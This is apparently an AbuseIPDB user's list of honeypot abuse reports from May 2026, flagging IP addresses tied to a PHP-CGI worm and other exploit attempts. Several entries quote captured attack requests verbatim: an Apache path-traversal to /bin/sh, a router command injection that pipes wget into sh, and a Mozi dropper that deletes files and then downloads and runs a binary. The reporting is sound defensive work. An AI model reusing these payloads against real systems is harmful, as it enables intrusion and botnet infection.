AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User wasuma joined AbuseIPDB in April 2026 and has reported 667 IP addresses.

Standing (weight) is good.

INACTIVE USER

IP	Date	Comment	Categories
🇩🇪 2.26.86.54	27 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 15 times; AbuseIPDB score=100% reports=41; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇸🇪 79.76.58.113	27 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 115 times; AbuseIPDB score=100% reports=1456; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇨🇳 120.241.79.66	27 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 213 times; AbuseIPDB score=100% reports=2008; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇹🇭 158.173.159.116	27 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 23 times; AbuseIPDB score=100% reports=89; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇬🇷 79.130.159.131	27 May 2026	Honeypot: Apache path traversal RCE (CVE-2021-41773). C2 payload URL: http://14.46.136.77/sh. Path: ... show more Honeypot: Apache path traversal RCE (CVE-2021-41773). C2 payload URL: http://14.46.136.77/sh. Path: /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh show less	Port Scan Web App Attack
🇰🇷 221.159.119.6	27 May 2026	Honeypot: exploit attempt. C2 payload URL: http://0.0.0.0/router.tplink.sh. Path: /cgi-bin/luci/;sto ... show more Honeypot: exploit attempt. C2 payload URL: http://0.0.0.0/router.tplink.sh. Path: /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//0.0.0.0/router.tplink.sh%20-O-%7Csh) show less	Port Scan Web App Attack
🇨🇳 115.190.165.143	27 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 23 times; AbuseIPDB score=100% reports=121; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇩🇪 2.26.86.54	26 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 15 times; AbuseIPDB score=100% reports=42; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇨🇳 120.241.79.66	26 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 212 times; AbuseIPDB score=100% reports=1997; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇹🇭 158.173.159.116	26 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 23 times; AbuseIPDB score=100% reports=132; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇸🇪 79.76.58.113	26 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 115 times; AbuseIPDB score=100% reports=1457; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇨🇳 115.190.165.143	26 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 23 times; AbuseIPDB score=100% reports=149; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇩🇪 2.26.86.54	25 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 15 times; AbuseIPDB score=100% reports=42; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇸🇪 79.76.58.113	25 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 115 times; AbuseIPDB score=100% reports=1465; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇨🇳 120.241.79.66	25 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 212 times; AbuseIPDB score=100% reports=1986; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇹🇭 158.173.159.116	25 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 23 times; AbuseIPDB score=100% reports=182; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇨🇳 115.190.165.143	25 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 23 times; AbuseIPDB score=100% reports=177; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇧🇷 189.51.43.54	24 May 2026	Honeypot: Apache path traversal RCE (CVE-2021-41773). C2 payload URL: http://14.46.136.77/sh. Path: ... show more Honeypot: Apache path traversal RCE (CVE-2021-41773). C2 payload URL: http://14.46.136.77/sh. Path: /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh show less	Port Scan Web App Attack
🇵🇰 153.117.6.20	24 May 2026	Honeypot: exploit attempt. C2 payload URL: http://153.117.6.20:33599/Mozi.a. Path: /shell?cd+/tmp;rm ... show more Honeypot: exploit attempt. C2 payload URL: http://153.117.6.20:33599/Mozi.a. Path: /shell?cd+/tmp;rm+-rf+*;wget+http://153.117.6.20:33599/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws show less	Port Scan Web App Attack
🇩🇪 2.26.86.54	24 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 15 times; AbuseIPDB score=100% reports=45; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇸🇪 79.76.58.113	24 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 115 times; AbuseIPDB score=100% reports=1461; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇨🇳 120.241.79.66	24 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 212 times; AbuseIPDB score=100% reports=1982; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇹🇭 158.173.159.116	24 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 23 times; AbuseIPDB score=100% reports=232; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇨🇳 115.190.165.143	24 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 23 times; AbuseIPDB score=100% reports=202; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack
🇩🇪 2.26.86.54	23 May 2026	CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 4 ... show more CVE-2024-4577 PHP-CGI RCE worm bot. Directly observed POSTing exploit payload to our honeypot. C2: 46.151.182.82. Worm self-replicates by exploiting PHP-CGI servers. Evidence: directly hit our honeypot 15 times; AbuseIPDB score=100% reports=48; appears in 4 sensor tags. Confidence score: 85/100 (multi-source verified). show less	Port Scan Web App Attack